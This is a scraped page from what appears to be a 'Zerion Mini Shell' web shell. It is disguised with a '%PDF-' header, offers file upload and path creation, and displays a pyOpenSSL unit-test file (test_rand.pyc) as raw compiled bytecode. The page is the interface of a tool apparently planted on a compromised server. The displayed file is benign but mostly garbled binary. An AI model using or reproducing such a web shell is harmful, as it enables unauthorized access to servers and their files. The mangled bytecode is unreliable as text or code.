%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyc

�
�|�Jc@s~dZddlmZddlZddlZddlmZddlmZdefd��YZ	e
dkrze�ndS(	s!
Unit tests for L{OpenSSL.rand}.
i����(tmainN(tTestCase(trandt	RandTestscBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs�tjd�}|jt|�d�tjdd�}|j||�tjdd�}|jt|�d�|jttjd�}|jt|�d�dS(s�
        Verify that we can obtain bytes from rand_bytes() and
        that they are different each time.  Test the parameter
        of rand_bytes() for bad values.
        i2t	num_bytesii����snum_bytes must not be negativeN(RtbytestassertEqualtlentassertNotEqualtassertRaisest
ValueErrortstr(tselftb1tb2tb3texc((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyt
test_bytesscCstjdd�dS(s?
        L{OpenSSL.rand.add} adds entropy to the PRNG.
        t	hamburgeriN(Rtadd(R((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyttest_add scCstjd�dS(s@
        L{OpenSSL.rand.seed} adds entropy to the PRNG.
        s
milk shakeN(Rtseed(R((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyt	test_seed'scCs|jtj�dk�dS(sx
        L{OpenSSL.rand.status} returns C{True} if the PRNG has sufficient
        entropy, C{False} otherwise.
        iiN(ii(t
assertTrueRtstatus(R((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyttest_status.scCs�|j�}t|d�}|j�zTtj|�tj|�tj}|j|d�tj	|�tj	|d�Wdtj
|�XdS(sG
        Test reading and writing of files via rand functions.
        twiiN(tmktemptfiletcloseRt
write_filetoststattST_SIZEtassertEqualst	load_filetunlink(RttmpfiletfObjtsize((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyt
test_files9s


(t__name__t
__module__RRRRR((((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyRs
				t__main__(t__doc__tunittestRRR tOpenSSL.test.utilRtOpenSSLRRR)(((sI/opt/alt/python27/lib64/python2.7/site-packages/OpenSSL/test/test_rand.pyt<module>s@

Zerion Mini Shell 1.0